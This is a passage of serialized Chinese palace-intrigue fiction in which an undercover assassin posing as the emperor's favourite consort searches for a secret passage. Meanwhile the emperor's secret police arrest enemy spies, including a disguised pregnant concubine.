关失越忙摇了摇头：“不！不是的！！我只是……不记得了。” “不记得？” “对！”关失越用力地点头，模样看起来呆傻极了，“妾不记得了。妾半年以前的事，全都不记得了。” 元擎苍：“……” 这个人肯定会调查她的身世。 但是，她不怕他查。 毕竟，前段时间的准备工作，她做得还是很到位的。 轩辕帝不管怎么查，都只会查到他们“故意泄露”给他的消息的。 再说了，“春芽”这个人是真真实实存在的人，失忆也确实是失忆了。 不同的是，春芽的身高和长相都不是如今这个“春芽”的模样罢了！ 且，为了让这个“春芽”和轩辕帝的白月光强行扯上关系，她曾做过一些手脚。 ========== 顶着和轩辕帝的白月光八分相似的脸，关失越生活得很滋润，即便她在轩辕帝之前，已经有了男人。 不得不说，白月光的杀伤力着实太强，是个男人都抵挡不住。 有了这层关系破局，事情倒是成功了一半。 剩下的一半就是找到密道了。 一旦密道找到，她便能杀了任务目标，从密道里逃跑。 密道是决定她能否全身而退的关键。 只可惜，她接触了两个潜伏者，也没能打探出密道的入口在哪里。 那便只能用排除法，一个个试了。 “圣上驾到！” 一声突兀的声音响起。 关失越忙进入到蠢萌+粗鄙+胆小如鼠+上不得台面的低配版白月光模式。 “圣……圣圣上。”她扑通一声跪倒在地，浑身抖如筛糠，一副让人大倒胃口的模样。 元擎苍确实皱起了眉头，但想到她的身形和脸，他的眉头很快就舒展了开来。 对于她的脸和身段来说，这些小毛病根本就算不得什么！ “别怕。”元擎苍走到关失越跟前，俯身，双手拖着关失越的手臂，将她托举了起来，“不必害怕朕。” “好……”关失越嘴上答应着，可身体如同得了帕金森一样，不受控制地发抖，说话的时候整个嘴唇都在打架，明显是老鼠见到猫的那种天然的恐惧。 这不是莲儿！ 绝不是！！ 莲儿不会怕他怕成这样？！！ 这一刻，元擎苍再次无比清晰地意识到了这一点。 他的莲儿已经死了。 死在了十年前。 他很清楚。 没有哪一刻比现在更清楚。 她不是她。 可是，看着眼前这张与莲儿几乎一模一样的脸，看着这比莲儿还要纤细高挑的身段，他对自己说：这就是莲儿！ 是她！ 她回来了！ 她放不下他，所以回来找他了！ “不怕，不怕。”元擎苍突然出手，用力地抱住了关失越，空出来的那只手甚至还轻轻地抚摸着关失越的头发，反复安抚，“我会保护你的，绝不会让你受一点点的伤害，相信我。” 关失越：这个时候动手，成功率百分之一百。啊啊啊啊啊啊啊，苍天啊！可惜还没找到密道的入口！！！否则，她现在就要动手了！！！ 找不到密道，刺杀完了皇帝，自己也跑不掉。 同归于尽？ 不存在的！ 她还想再多活几年呢！！ 谢婉婉、安王、向砚辞、沈淮瑾那些贱人，她还没有收拾呢！ 她可不能死！ 至少要先弄死了他们再死！ 安抚了许久，察觉到怀着的人儿似乎不那么怕了，元擎苍才放开了关失越。 他将关失越有些冰冷的手指包在掌心里，拉着她一起走到榻边坐下，道：“我封你做美人，再给你添十几个宫人，好不好？” 什么？ 美人？！！ 自己心心念念爱着的白月光，原来只配做个美人？ 她还以为，好歹也要是个妃位呢！ 啧啧啧，男人啊！ 男人的爱，算个屁！！ 得快些找到密道入口，早点完成任务赶紧跑路才是正理！！ 关失越心里腹诽着，面上却是一副受宠若惊+不敢置信+惊吓过度的上不得台面的小家子模样，她诚惶诚恐地摆手，整个人如同脊梁骨被打断了的狗奴才一样，身子滑到了地上，膝盖重重地跪了下去。 “不不不不不不……成的，妾妾妾妾妾妾……不过是残残残残残……花败柳，怎怎怎怎怎……” 她似乎是很急着辩解，可越急就越结巴，越结巴就越急，如此恶行循环，她急得脸涨得通红，脖子通红，全身都通红！！ 元擎苍原本还对那事有些膈应的（没有一个男人能容忍绿帽子，况且他还是帝王），可见她这般，他心里的那点不舒服就莫名其妙地消失了。 他让人去查过她了。 她失忆了，不知晓自己是谁，那个男人骗她说是她的丈夫，这才…… 她没有错。 错就错在那个不知羞耻的男人！ 杀了那男人全家，真是便宜了他！！！ 第140章 撞个正着 “好了，别说了。瞧你急得，眼睛都红了！” 元擎苍嘴角扬起一抹不易察觉的笑意，将地上的关失越拉了起来，抱在怀里安抚。 关失越身子抖得更厉害了：“不不不不不不……行的，贱妾……贱妾……贱……” “不许再说话！不许拒绝朕！”元擎苍的手臂环过关失越的腰身，紧紧搂着她，“以前的事过去了就过去了，就别想了！以后，朕就是你的夫君。朕绝不会像那个男人那样骗你辱你伤你，朕会好好疼你的。” 疼她？ 呵呵，想睡她才是吧？！ 全天下的男人都一个德行，就那样！ 关失越心里在冷笑，面上却还是做出一副震惊到失语的状态：“妾不值得，妾……” “你哪里不值得？” 怀里的人儿身上带着女子的馨香，腰身细得好似他一只大掌便能握住，浑身软得像是那天上的云，元擎苍已然有些急不可耐了。 他喉结滚动了一下，不管不顾地将女子压在了身下…… ========= 关失越醒来的时候，已是日上三竿了。 关失越揉了揉酸痛的腰肢，扶着床榻站起，摸到边上，自己倒了一杯水喝。 狗男人！ 全身上下有使不完的牛劲！！ 不是说，男人过了二十五就废了吗？ 怎么这人还…… 连续喝了几杯水，关失越才感觉到嗓子舒服多了，正打算重新摸回榻上睡个回笼觉，这时，宫女走了进来：“春婕妤，您怎么起来了？您小心些，婢子过来扶您！！” 婕妤？ 昨天说让她做美人，没想到封她做了个婕妤。 肯定是觉得她把他伺候舒服了吧？ 呵！男人！！ “婕妤，圣上走的时候特意吩咐了，您昨晚辛苦了，要好好休息，今日就不必去皇后娘娘那里请安了，明日再去就成。婕妤饿了吧？婢子已经让人去拿吃食了，很快就能用膳了。婕妤，您现在是打算休息一会儿，还是要起来？” 听着宫女热情又不失规矩的话，关失越道：“饭我就不吃了。我再睡会儿。” 宫女闻言，道：“婕妤早膳没用，午膳若是也不用，那也太伤身子了！要不这样吧，婕妤再躺会儿，等午膳来了，婕妤就在榻上吃一点。” 关失越：“好吧。” 果然，过了一会儿，午膳就到了。 关失越坐在床上吃了一点，继续睡觉。 说是睡觉，其实她只是闭着眼睛在想接下来的行动。 元擎苍这个男人心机很重，猜疑心更是极重，想要从他嘴里问出密道入口，可谓是难！ 想靠正常渠道打探，怕是不行的。 只能靠歪门邪道了。 好在她这回的人设立得很好，一个没见过世面的、小家子气的、胆小如鼠的蠢货，这样的人，即便是做出些什么奇奇怪怪的事来，也是可以理解的嘛！ 关失越顺着这条思路想下去，在脑子里一遍遍完善计划。 天黑下来的时候，趁着宫人们用膳和侍卫换防之际，关失越穿了身暗红色的宫装，跃上墙头，又迅速消失在了黑夜里。 这回，关失越直接来到了元擎苍的寝殿。 因为宫人们去用膳了，此时的寝殿内空无一人。 这可是千载难逢的好时机！！！ 关失越推开门，大步走进去。 殿内很宽阔，除了一张床榻、一个长案桌、一道屏风、一排多宝阁、三个花瓶，几乎没有别的多余的家具和摆设。 关失越目光在殿内快速扫视一圈，直奔向了案桌。 案桌上整整齐齐摆了几本书、一摞奏折，看起来没什么特别的。 关失越将书本和奏折都挪了些位置，并未见有什么反应。 她不由蹲下来，拿了玉石镇纸在地砖上轻轻地敲，一寸一寸地敲。 很快，案桌下面的地砖都被她敲完了，并未发现中空的感觉。她不由将书本和奏折又摆回原位，拿着镇纸走向多宝阁。 这时，外面传来了脚步声。 听那声音，是元擎苍的声音。 不好，他回来了！！！ 此时的清心殿，大门半开，窗子紧闭，没有后门！ 她若是要离开，只能往前门走。 算了一下时间，她此时离开，会正好撞上元擎苍。 元擎苍此人猜疑心极重，戒备心极强…… 脚步声越来越近，越来越近了，关失越忙快步回到桌案，按着超强的记忆力，将镇纸放在了之前的地方。 之后，她并不停留，整个人绕过屏风，脚步轻快如飞燕，没发出声音地掠到了床榻上。 刚脱了鞋子盖好被子，元擎苍就抬脚从门外踏了进来。 关失越连呼吸都不敢大声，浅浅地深呼吸…… 元擎苍抬脚的那一瞬，猛地顿住。 他眼睛看向了半空中的某处。 好一会儿，都没有回应。 元擎苍知晓没有危险，便抬脚走了进去。 殿内空无一人。 所有的东西似乎并没有被翻动过的痕迹，但…… 元擎苍缓慢地绕过屏风，抬眼朝着床榻看去。 床上有人。 脚踏上，端端正正摆放着一双珍珠镶嵌的鞋子。鞋子款式和 颜色，似乎有些熟悉。 元擎苍仍没有掉以轻心，他拔出了随身佩戴的宝剑，迈着沉稳的步伐，一步一步走了过去，用剑挑开了帐幔。 然后，他看到了一张极为熟悉的脸。 “你怎么在这里？谁让你进来的？”元擎苍皱眉。 这男人，翻脸比翻书还快！ 早上的时候还对她恋恋不舍，恨不能不早朝，此时就这样一幅晚娘脸！ 麻烦了，这属于最渣的那一类男人！ 提上裤子就不认人那种！！ 好！ 很好！！ 关失越脑中闪过无数念头，面上却是一副被嫌弃的委屈、可怜、不敢置信之色：“臣妾……臣妾……” 说到这里，她似乎是委屈到了极致，眼眶发红，却努力咬着牙不让自己哭出来的倔强模样。 她似乎是恼羞成怒，再不看他，用力地掀开了被子，赌气地坐起来，怒气冲冲地将脚往鞋子里套。 可能是她太生气，太失望，太恼恨，太委屈了，她身子发颤，哆哆嗦嗦穿了好一会儿都没能穿进去。 这让她更委屈了。 下一刻，她再也忍不住，眼泪啪嗒一下流了出来，滑过尖细的下巴，砸到了她雪白的手背上。 “好了，别生气了。”元擎苍丢下宝剑，上前一步，按住了关失越颤抖的肩膀。 第141章 凶多吉少 关失越如被激怒的小野马一般，愤怒地去甩他、推他：“不用你管！” 声音带着哭腔，很大，很委屈，很愤怒，就仿佛元擎苍做了什么了不得的极大地伤害了她的恶事一般。 元擎苍：我还没怪你擅闯我寝殿，你倒先怪起我来了？！！大胆！放肆！！信不信我…… 关失越许是气得狠了，力气大得惊人，三两下就扯掉了元擎苍的手，然后，推开他，气急败坏而去。 这一幕发生得着实诡异、突然，元擎苍惊掉了下巴。 见小家伙那被气狠了的模样，他虽不理解，但手比脑子快，手臂一拦，再往回一勾，就将如同吃了炸药的小兽给拦截了回来，牢牢固定在自己怀里。 小兽被抓，牙尖嘴利，张牙舞爪。 她四肢用力扑腾，手指在他脖子上、脸上猛地抓了几爪子！ “嘶------你……你个……”元擎苍震惊地看着她，同时，一把抓住她到处惹事的爪子，“你做什么？是不是想死？！” 被他这一吼，关失越越发委屈、伤心，她扬起脖子，一副视死如归的模样。 气势如虹。 她表现得很凶，可是，因为她生得纤细，不但不让元擎苍觉得反感，反而还让他觉得这气鼓鼓的样子如同河豚一般，可爱极了。 他有点想笑。 目光在她脖子上流连了一圈，发现上面还有他昨夜留下的草莓印，一个叠一个，说不出的暧昧。 元擎苍眸色一暗，放软了语气：“好了，别闹了。朕承认，刚刚有点凶了。你也挠了朕了，便算是扯平了，行不行？” 说到这里，元擎苍摸了摸自己刚刚被抓到的地方，好似跟别的地方不太一样，有些凸起，他猜测，应当是被抓破皮了。 难怪那么痛。 不过，好在没流血。 “嘶，好疼。”元擎苍吸了口气。 果然，刚刚还张牙舞爪的小野猫顿时偃旗息鼓了，不过，她仍是板着脸，微微撅着嘴，二十五度角斜望天，一副气鼓鼓的模样。 元擎苍没有忍住，笑了。 关失越狠狠地瞪着他。 元擎苍忙收住了笑，一本正经地道：“你偷偷摸摸鬼鬼祟祟跑我这里来，是想做什么？” 关失越的脸立马红了。 连同耳朵、脖子根，都羞得通红，艳丽得如同盛开的蔷薇。 元擎苍怔愣了片刻，一把掐住怀里小野猫那试图躲闪的下巴，逼她与自己对视。 关失越脸颊更艳丽了。 元擎苍喉结滚动一下，嘴唇碾压了上去…… ========= 夜凉如水。 元擎苍穿戴整齐，坐在桌案后面。 一个身形矮小，一身黑衣的年轻男人悄无声息地走了进来，在一丈开外跪着：“陛下。” 他是轩辕帝的暗卫之一，专门负责查看轩辕帝寝殿的。 元擎苍脸上没有表情，道：“春婕妤是什么时辰进来的？” 暗卫道：“放饭时刻。” 元擎苍眸子不易察觉地眯了眯：“她进来后都做了些什么？” 暗卫：“属下不知。不过听声音，属下猜测，她约摸是在找什么东西。” 元擎苍：“何以见得？” 暗卫：“她动了陛下桌案上的东西，且，她还趴在地上这里敲敲那里敲敲。” 元擎苍：“……你做得很好，下去吧。” “是！”暗卫跟来时一样，悄无声息地退了出去。 元擎苍仍然坐在桌案前，捏着奏折的手指微微用力，将奏折都抓皱了。 半晌，他自嘲地笑了笑。 春芽是吧？ 你是谁派来的呢？ 任务是什么呢？ 你做的这一切，长庆侯府知情吗？ 想到这里，元擎苍手指敲击了几下桌案。 不一会儿，又一个暗卫走了进来。 元擎苍：“吩咐下去，让人再去查一查长庆侯府，顺便再查一遍春婕妤的事。她都见过什么人，都要查。查仔细些。” 暗卫：“是！” 元擎苍思索了一会儿，道：“以后你让暗七负责只盯春婕妤一个人，她跟谁有接触，跟谁说了什么，做了什么，去了哪些地方，吃了什么，喝了什么，全部都要一一给朕汇报！” 暗卫：“是！属下这就去！” ========= 关失越一觉醒来，就有种说不出的怪异感。 她感觉自己好似被无数双眼睛盯上了。 花园里，屋顶上，屋檐下，背后，处处都是视线。 她想，昨日的事，她终究还是被怀疑上了。 也是，元擎苍这人原本不显山不露水的，是所有皇子中最没希望登上帝位的，可他愣是凭着隐忍和猜疑一步步杀死他的所有对手，光从这一点看，就知道他这人的城府和猜疑。 他不会信任任何人。 何况还是她这种一看就有问题的人？ 看来，她怕是要凶多吉少了。 关失越深吸了一口气，大步走向未央宫。 妃嫔进宫第一次侍寝过后必须要给皇后请安，按理，她昨日就该去的。 她赶到未央宫的时候，里面已然来了一个人了。 那人生得娇娇小小的，长相清秀，右眼角有一颗痣，肚子微微凸起，看样子有四五个月的身孕了，正是吴美人。 关失越之前见过吴美人的画像，但再见着真人，她只想说：画像误人！ 这人跟画像上的只有五六分相似。 要不是看到她眼角的痣和微凸的肚子，她决计认不出她来。 关失越打量吴美人的时候，吴美人也同样在打量着关失越。 几乎是一个照面，吴美人便猜到了关失越是谁。 两人目光对视，谁都没有开口。 这实在不好说话。 按先来后到吧，吴美人进宫许多年了，且生养了三皇子，肚子里更是还揣着一个，按理，关失越应当向她行礼问安的。 但按位份，便不是这么回事了。 美人是属于正四品，婕妤却是正三品，比美人高出了一个整阶！ 于是，关失越只能假装不认识吴美人，朝她友好地点了点头。 吴美人眸子冷了冷。 好在这种尴尬并没有持续太久。 很快，其余妃嫔陆陆续续过来了，皇后燕清芷在妃嫔们到得差不多的时候，也出来了。 在众妃嫔向皇后请过安之后，燕清芷笑道：“今日我要向众姐妹介绍一个新妹妹，她便是春芽，昨日陛下已然宠幸了她，并封了她为春婕妤。” 第142章 死亡名单 什么？ 才进宫就被封了婕妤？！ 而且，这女人只不过是个名不见经传的小人物。 非世家贵女，长得也不是多么出众，凭什么一进宫就能被封婕妤？！！ 要知道，吴美人给陛下生了三皇子，肚子里又怀上了一个，也不过才是区区美人而已！ 她凭什么能做婕妤？ 各宫妃嫔都酸了，但谁也没做这出头鸟，大家你看看我，我看看你，眉毛眼神官司打得火热。 就在众人各种眼神交流的时候，一道不屑的女声终于响了起来。 丽贵妃笑了一声，看向关失越：“春婕妤？” 关失越忙朝着丽贵妃行了一礼：“贵妃娘娘。” “呵！”丽贵妃又笑了一声，“本宫听闻你是长庆侯府的丫鬟，进宫来原本是为了照看四公主的，对吧？” 众妃嫔：天啊！她竟是个丫鬟出身？！！ 陛下怎能如此抬举一个丫鬟？ 过分！ 太过分了！！ 关失越好似根本没有察觉到众妃嫔那或讥讽，或愤怒，或不甘，或高高在上，或打算刁难人的目光，她脊背挺得笔直，神情自若，一点也没有卑贱的自觉，不卑不亢地道：“回贵妃娘娘，确实如此。妾本是照看殿下的，没曾想被圣上看见，便……如此了。” 众人齐齐瞪大了眼睛：天啊！她竟不觉得羞耻？！！ 太气人了！ 也太不公平了！！ 丽贵妃已然气得说不出话来了。 生下了二公主的常婕妤终是没有忍住，道：“我爹是个六品小官，我进宫的时候就只封了个宝林，若不是生养了公主，我至今也不过是个美人。春婕妤倒是厉害，一进来就是婕妤，倒和我平起平坐了。” 这话一出，立马勾起了众妃嫔同仇敌忾的念头。 不少人纷纷附和：“是啊，春婕妤一介丫鬟，竟比为圣上生养了三皇子的吴美人位份还高，春婕妤的功夫真是了得。” “吴美人不但生养了三皇子，如今肚子里还怀了一个，竟还要被春婕妤压在头上。我真替吴美人感到不值。” “话也不能这么说嘛，谁让圣上喜欢呢！” “我看，她还是沾了皇后娘娘的光。” “即便如此，也不能一上来就封婕妤啊！” “好了，这可是陛下的意思，我听闻，陛下对她喜欢得紧呢！” 呸！ 狐媚子！！ 听着众人各式各样的议论声，关失越一点也没有觉得愧疚或是尴尬，她坦然自若地道：“这确实是陛下是意思，各位娘娘若是不服，自可去找陛下说道，在我跟前说道有什么意思？” 说罢，朝皇后行了个礼，便告辞了。 她一走，殿内的妃嫔们更是气不打一处来，但顾忌到皇后的面子，妃嫔们并没有说什么，只将怨恨埋藏在心底，也跟着告辞了。 很快，未央宫就恢复了平静。 一位女官看向燕清芷道：“殿下，她的位份是不是给得太高了？” 燕清芷嘴角勾了勾，眼里有什么东西一闪而逝。 “不高。” 跟那位有八分相似的人，元擎苍给再高的位份他都会觉得委屈了她。 她那张脸，就是好用！ ======== 从未央宫出来，关失越特意绕了一段路，去御花园溜达。 在花园里溜达了两圈的时间，那种被偷窥的感觉更强烈了。 她只好往回走。 走在路上，她看到了千里及同僚的联络标记。 她不敢多看，更没有多停留，若无其事地离开。 很明显她被盯上了。 很长一段时间内，她都不会和那些人联络的。 这是为了她的安全。 同时也是为了哪些人的安全。 那便静默吧。 ========= “盛都抓到了南山府细作？”清心殿，听着暗阁副统领喻恒的报告，元擎苍目光顿时犀利了几分，“有查出什么有用的情报吗？” 喻恒，之前是暗阁在云霜府忘川县的分阁主，这两年来因为屡次立功，调任到了盛都，做了暗阁的副统领。 喻恒道：“那人交代，他们南山府在四年前曾派出了一大批细作潜入了盛都，其中，有至少两个人进了皇宫。听他那意思，进了宫那几人混得很不错，地位极为巩固。” 在宫里的，什么样的情况才能算地位极为巩固？ 无非两种。 第一，那人手握权势，且，深得帝王信任。 这样的人，整个轩辕皇宫，几乎没有。 第二，那人生育过皇子公主。 元擎苍自是一下子就想明白了这里面的事情，他面上没有丝毫被背叛的痛苦和愤怒之色，他道：“四年前刚好遇上选秀女和宫女，那时进宫的人可不少。” 喻恒：“陛下所言极是。为此，属下将当年进宫的宫人和秀女全都一一进行了排查。说来也怪，当时那批人有大部分都死了，陛下，这是剩下来的宫人的名单。请陛下过目。” 元擎苍接过了喻恒呈上来的名单，随意地翻看着。 然后，他看到了一个极为熟悉的名字。 那个名字在正中央，且比起别的名字来显得更大，让人想不注意都难。 他目光凝滞了片刻，看向喻恒：“你怀疑她？” 喻恒快速地瞟了一眼元擎苍，低下了头：“属下知晓，不该怀疑她的。可是……” 元擎苍闻弦歌而知雅意，见状，问道：“你查到她的什么事情了？” 喻恒点了点头，想了想，道：“她……属下斗胆，请问陛下，四年了，陛下可曾见过她没上妆时的模样？” 元擎苍：“你是说……” 喻恒：“当然，这只是属下的猜测，不一定是真的。” 元擎苍：“朕知晓了。这事最迟明日便见分晓。” 喻恒：“是。” 元擎苍沉默了一瞬，道：“这人有没有交待，那伙人的目的是什么？” 喻恒头垂得更低了些：“刺杀陛下您。” 元擎苍冷笑一声：“知道了，你退下吧。” ========== 盛都街头。 一个绿裙女子进入了一家胭脂铺子的后堂。 “掌柜的，请帮我拿两盒胭脂，一盒桃花色的，一盒海棠色的。”绿裙女子说出了接头暗号。 这时，那个低着头的胭脂铺店员抬起头来，“她”看了一眼绿裙女子，随即，以迅雷不及掩耳之势，一把掐住了绿裙女子的脖子。 紧接着，“她”一手卸掉绿裙女子的下巴，一手在女子嘴里摸索着什么。 很快，一颗被油纸包着的极细的药丸被“她”抠了出来。 第143章 暗阁大行动 绿裙女子面色惨白，心头大骇，浑身颤抖。 想说什么，但下巴脱臼的疼痛让她一个字也说不出来。 胭脂铺店员找到了毒药，很是志得意满，“她”用近乎怜悯的目光看着绿裙女子，道：“你好啊，青绿姑娘。” 声音是个男人的声音。 青绿身体不住地颤抖。 男人道：“两年前在忘川县让你跑了，这次，你跑不了了。” 说着，男人冲着从四处冲出来的人道：“绑了！这人可是大夏千里及女细作。她知道的事情可不少。想要立功，可一定要看好她！” 几个下属闻言都很高兴，嬉皮笑脸地道：“放心，属下还指望着靠她升官发财呢！属下们定会好好‘招待’这位青绿姑娘的！” ========== 邀月楼。 一队身着黑甲的暗阁杀手蜂拥而来。 来得突然又迅捷。 江蝶舞猝不及防看着这一幕，眸子眯了眯，立马将窗子打开呈四十五度角。 且，在窗台下放上了一盆红色的鲜花。 待做完这一切，江蝶舞慢悠悠地往外面走去。 门被大力敲响。 “谁啊？”江蝶舞缓步过去，打开了房门。 一群暗阁杀手站在跟前，带头的是个二十多岁的英俊男子，男子对江蝶舞扬了扬嘴角：“蝶舞姑娘，又见面了。” 江蝶舞有些疑惑地看着他：“现在天还没黑，还没到开门营业的时候呢。小郎君未免心太急了些。” 带队男人名叫王甲，他将江蝶舞上上下下打量了一番，皮笑肉不笑地道：“蝶舞姑娘今日怕是要随在下走一趟暗阁了呢。” 江蝶舞面色蓦然睁大了眸子：“为什么？妾身一直规规矩矩地做生意，没做什么坏事啊！” 王甲凑近了江蝶舞耳边，低声道：“青绿以前是你的丫鬟对吧？你或许不知道，她是千里及细作。她已经被我暗阁抓走了。” 江蝶舞：“妾……妾不知晓！天！她是千里及细作？你们不会搞错了吧？” 王甲已经不想跟她继续说话了，他对后面的人使了个眼色，后面的人二话不说，抓住了江蝶舞。 “蝶舞姑娘，得罪了！” “蝶舞姑娘不必忧心，你只需将事情说清楚了就可以回来了。” 江蝶舞无奈又无辜地摇了摇头：“我怎么就遇上了这事？行行行，说清楚！” ========= 暗阁地牢。 江蝶舞见到了青绿。 青绿被绑在刑架上，衣衫不整，露出的肌肤上布满了纵横交错的鞭痕，裙子也被扯到了地上。 此时她脑袋耷拉在一边，显然已然昏迷了，不知生死如何。 江蝶舞知道，她肯定还活着。 暗阁的人应当是还没有从她嘴里套出情报，所以，暂时不会杀她。 但凌辱肯定是少不了的。 江蝶舞心里发寒，但面上却丝毫不显，甚至连一个微表情都没有做。 因为她知道，暗处肯定有无数双眼睛在盯着她，等着她露出破绽。 她适时地露出了一丝恐惧之色：“她……她毕竟是小娘子，哪里受得住刑罚？” 没有人理她。 一个杀手端来一盆冰水，唰地泼在了青绿的脸上。 很快，晕死过去的青绿被冻醒，睁开了眼睛。 然后，她看到了江蝶舞。 她失望地移开了目光。 江蝶舞：“青绿，他们说，说你是千里及细作。这不是真的，对不对？” 青绿冷笑了一声，用看智障的目光看着江蝶舞：“是的。你怎么回事？怎么跑这儿来了？这里不是你这种靠出卖色相的女人该来的地方。” 江蝶舞似是受到了极大的伤害一般，整个人都颤了颤：“你……说什么？” “滚！”青绿道，“如若你是来看我笑话的，恭喜你，你已经看到了！现在，请你离开！” 江蝶舞后退了一步：“你……你怎么能这么说？我想着，我们好歹主仆一场……” “什么主仆？你配吗？”青绿仰起脖子，冷笑道，“像你这样的只知晓讨好男人，为了一点点利益就出卖自己身子的人，根本就不懂什么是家国大义！ 我若不是为了为大夏收集情报，怎么可能潜伏在你身边，去捧你的臭脚？ 你以为你是谁？ 一个被千人枕万人睡的妓子而已！ 跟在你身边，让我觉得恶心！ 现在好了，我终于不用再恶心自己去迎合你了。 你还站在这里做什么？ 还没被骂够吗？ 滚！” 江蝶舞整个人都怔住了，似是第一次认识青绿一般，半晌，她自嘲地笑了一声，平静地道：“是，你厉害！ 你能！ 你是干大事的！ 我这样的人，确实不配做你的主子！ 以前你跟在我身边，真是委屈了你了。 不过，以后再不会了。” 说罢，江蝶舞挺直了脊背，大步走了出去。 与此同时，躲在暗处观察着这一切的几个人互相对视了一眼后，神色各异。 “我看她应当是个不知情的。” “我也觉得。” “可她和青绿毕竟主仆一场，她不应当会那么干净！” “还是审一审吧。保险！” 于是，不一会儿，有些失魂落魄的江蝶舞被带到了另一间单独的审讯室。 “你们这是做什么？哎，你抓我做什么？”江蝶舞震惊地看着众人，“不是说问我几个问题吗？干嘛还……哎哟，好疼啊！你们怎么这样？” 暗阁杀手们不管不顾，三下两下将江蝶舞两只手绑在一处，将她整个人半吊了起来…… ========== 轩辕皇宫。 今夜，元擎苍翻了吴美人的牌子。 吴美人事先并没有得到通知，再加上她如今已怀孕五个月，不宜侍寝，所以，她没有想过元擎苍会过来。 于是，吴美人早早地睡下了。 等听到宫人通传的时候，吴美人一个激灵，快速地从床上弹了起来。 她在床上坐了片刻，想到什么，立马吩咐贴身宫女道：“跟陛下说，我睡下了，叫不醒。” 宫女点了点头：“是。” 宫女还没走出去传话，元擎苍已然进了内殿，并径直朝床榻边走来。 宫女：“陛下，美人她已然……” 话还没说完，便被跟在元擎苍身后一直观察元擎苍神色的大太监给一把捂住嘴，拖了下去。 第144章 她果然还是错了 元擎苍看也没看宫女一眼，继续前行。 很快就到了床榻跟前，元擎苍坐在床沿看吴美人。 吴美人装睡也不是，装醒也不是，纠结急了。 元擎苍仔仔细细打量了一番吴美人的脸型、五官，脸色一分分沉了下去。 如今的吴美人，和平时明显不同，喻恒暗示得没错，她果然易容了！ 易容后的吴美人和莲儿有五六分相似，而现在这个人，顶多只有两分相似！！！ 莲儿的事，知晓的人寥寥无几，这个才进宫的宫女，是如何知晓照着莲儿的脸易容的？ 很显然，她背后有势力。 她背后的人知道这时。 所以，她是东越南山府的人，潜入他轩辕皇宫，欲图刺杀他的女细作！ 四年了，为了杀他，这人不惜以身入局，生下了三皇子！ 她是不是以为，她为他生下了孩子，她的命便能保住了？ 呵呵，简直可笑！ 一个低贱的他国细作，她也配？！ 这世间总有一些看不清自己位置的不知死活的女子，总以为自己凭着一张与莲儿相似的脸和生了孩子就妄想着能拿捏他。 那他便要让她们看看，欲图拿捏他的下场！！ 元擎苍的手掐住了吴美人的脖子。 吴美人感觉到窒息，睁开了眼睛。 “陛……下……您这是……放……” 元擎苍看吴美人的眼神很冷，那是在看一个刺客的眼神，根本不是看为自己生育过两个孩子的女人的眼神。 这一刻，吴美人真正感觉到了恐惧，由于母性的本能，她抓住了元擎苍的手，企图拽开。 元擎苍冷笑一声，松开了手。 “来人。”他对着半空中某处道。 很快，一个暗卫悄无声息地走了进来。 元擎苍：“将她抓起来好生审问。她是从哪里来的，有多少同党，如何接头的，朕都要知晓！” 暗卫看了一眼吴美人鼓起的肚子：“陛下，她肚子里……” “无妨。朕有的是孩子，不缺她肚子里这一个。”元擎苍道。 吴美人闭上了眼睛，眼里全是心寒。 她错了！ 她果然还是错了！！ 她们警告过她，做细作的不能爱上刺杀目标，更不能生孩子，可她猪油蒙了心，总是贪恋男人的那一点温柔。 她以为只要有了孩子就好了。 然而，今日之事让她清楚，她错了！ 大错特错！！！ 这个男人，是全天底下最狠毒最自私最没有心的男人！！ “呵呵。”吴美人惨然一笑，她目光直视着元擎苍，“我为你生儿育女，我为你背叛了家人，背叛了故国，如今的我一无所有了，你就这样对我？陛下，你有心吗？” 元擎苍：“我让暗卫来审你，没将你交给暗阁审问，便是朕对你最后的一点仁慈了。你还敢奢望别的？带下去！” ========= 关失越总觉着心神不宁的。 一整个晚上她都睡不着觉。 她翻来覆去许久，好几次都想要趁着夜色偷溜出玉兰宫，去清心殿转转，但是，想着黑暗里的无数双盯着她的眼睛，她忍住了。 她躺在床上，在寂静的宫墙内，隐隐约约间，似乎有听到女子的啜泣声、杂沓的脚步声…… 第二日去未央宫请安，关失越发现吴美人没有来。 皇后说，吴美人昨夜病了，关失越便没有在意，然而，等皇后将她单独留下来的时候，她这才有了一丝不太妙的感觉。 “你知道吴美人的事吗？”将宫人屏退，皇后压低了声音道。 关失越时刻牢记自己是鲁莽冒失的蠢货人设，她眨巴着眼睛，一脸的八卦，身子凑近了皇后：“难道她没有病，是出了别的事情？她出了什么事？” 皇后燕清芷说道：“吴美人是四年前进的宫，她原本的身份是个小县令家的庶女，进宫就得了皇上喜欢，从采女一步步晋封为美人。她还生下了三皇子，如今肚子里还有一个。这样的荣耀，按理，她这辈子算是可以了。可惜，她自己不争气。” 说到这里，燕清芷特意停顿了一阵。 关失越见状，忙给燕清芷倒了杯茶水，递了过去。 燕清芷接过茶水喝了两口，看了关失越一眼，继续道：“她那个身份是假的，就连她的脸都是假的！她是大夏细作。” 关失越不敢想，不敢做什么诸如眯眼、瞳孔紧缩、眼睫乱颤、嘴角翕动等微表情，她就当是左耳进右耳出，她适时地露出一丝惊讶的表情来：“大夏细作？啊！天啊！她进宫来做什么？没有对娘娘您不利吧？” 燕清芷：“那倒没有。 说起来，这大夏细作可真是厉害！ 先是那千里及细作渗入我轩辕军队，接着又是摇光台细作潜伏在我轩辕各个角落，真是令人防不胜防啊。 不过你也不必太过担心，虽然皇上如今在严查这几年来进宫的宫人们，但你毕竟是从长庆侯府出来的，你的身份本宫自然是放心的。” 关失越忙笑道：“娘娘放心，我是没有问题的！我就是轩辕人！” 燕清芷再次打量了一遍关失越：“不是我不信你，而是……你毕竟才进宫不久，又碰巧遇到了这事……哎！” 关失越：“我真是轩辕人！！！” 燕清芷：“那你能不能再说一次，你老家在哪里，之前都去过哪些地方？” ========= 盛都，鸿宇酒楼。 曾玦跟平常一样做着账房的活儿。 突然，一队人马进了酒楼，直朝着曾玦而来。 曾玦从昨天起眼皮就跳个不停，此时看到暗阁的人，他心里慌得不得了，藏在身后的手指不自觉地往腰上的荷包摸去。 荷包里有毒药、毒针、毒虫，不管摸到哪一样，都能让他顷刻间丧命。 昨日下午，千里及在盛都的两处联络点都被暗阁端了，这么久了，都没看到同僚们的尸体，这怎么能不让人害怕？ 原本以为鸿宇酒楼这里至少是安全的，可…… “这不是鸿宇酒楼的曾账房吗？”王甲神不知鬼不觉地走到了曾玦身前，“曾账房，多日不见，别来无恙啊。” 曾玦：“……” 第145章 这肯定是个圈套 